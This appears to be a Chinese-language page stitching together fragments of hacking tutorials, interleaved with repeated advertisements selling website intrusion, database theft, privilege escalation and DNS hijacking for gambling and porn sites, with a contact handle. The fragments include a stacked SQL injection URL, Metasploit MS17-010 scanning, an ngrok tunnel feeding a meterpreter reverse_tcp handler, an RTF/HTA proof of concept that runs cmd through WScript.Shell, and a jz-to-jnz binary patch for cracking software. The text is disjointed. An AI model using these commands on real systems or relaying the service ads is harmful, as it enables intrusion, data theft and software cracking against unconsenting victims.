通过SQLMAP可以查看到是DBA权限

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';CREATE TABLE tt_tmp (tmp1 varchar(8000));--
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

选择使用smb_ms_17_010模块，并查看使用命令。

msf > use auxiliary/scanner/smb/smb_ms_17_010
msf auxiliary(smb_ms_17_010) > show options
所必须的参数有三个，对于无需登录的SMB，我们只需设置一下扫描的IP段、线程并运行即可开始扫描。

msf auxiliary(smb_ms_17_010) > set RHOSTS 10.50.2.1-255
RHOSTS => 10.50.2.1-255
msf auxiliary(smb_ms_17_010) > set THREADS 10
THREADS => 10
msf auxiliary(smb_ms_17_010) > run
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

这里采用了www.ngrok.cc平台进行演示，类似这样的平台有很多，例如natapp.cn等。
注册并开通隧道，如图所示。
下载对应的客户端，下载地址为：https://www.ngrok.cc/#down-client ，选择与系统对应的软件。
我这里Kali为64位的，下载和使用命令如下：

root@kali:~/Downloads# wget hls.ctopus.com/sunny/linux_amd64.zip
root@kali:~/Downloads# unzip linux_amd64.zip
root@kali:~/Downloads# cd linux_amd64/
root@kali:~/Downloads/linux_amd64# ls
root@kali:~/Downloads/linux_amd64# ./sunny clientid 隧道ID
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

use exploit/multi/handler
set LHOST 192.168.232.134
set LPORT 5555
set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > exploit
由于关于Eternalblue利用方法有很多教程了，这里就不详细说明了，如图所示。
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

攻击成功时查看ngrok客户端发现有一个连接。
而且Kali上也生成了一个meterpreter会话。
之后的操作就很简单了，可以添加用户等等。
最后远程登录成功如下图所示。
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

在web目录新建ms文件夹，将test.docx复制到ms目录下，并重命名为test.rtf


root@kali:~/Documents# cp test.docx /var/www/html/ms/test.rtf
新建Word文档，插入对象
并保存为rtf文件，如233.rtf
删除服务器上的test.rtf文件
并将poc.hta文件复制到ms目录下，并改名为test.rtf

一台apache服务器（这里我用Kali）、POC和一个Word文档。
POC内容大概如下：

<script>
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
</script>
然后将其放在Kali服务器上
Apache需要开启DAV支持
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

DNS流量转流量持持跳转运营商持域名跳转！
适合以下这几种行业！
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM
#黑客 #快手 #入侵 #ddos

所以我们只需要把jz改成jnz即可 操作如下
设置->常规 显示机器码
编辑->修补程序->单字节修补
本来是84 改成85即可

修改完毕后 编辑->修补程序->修补程序到应用即可

效果如下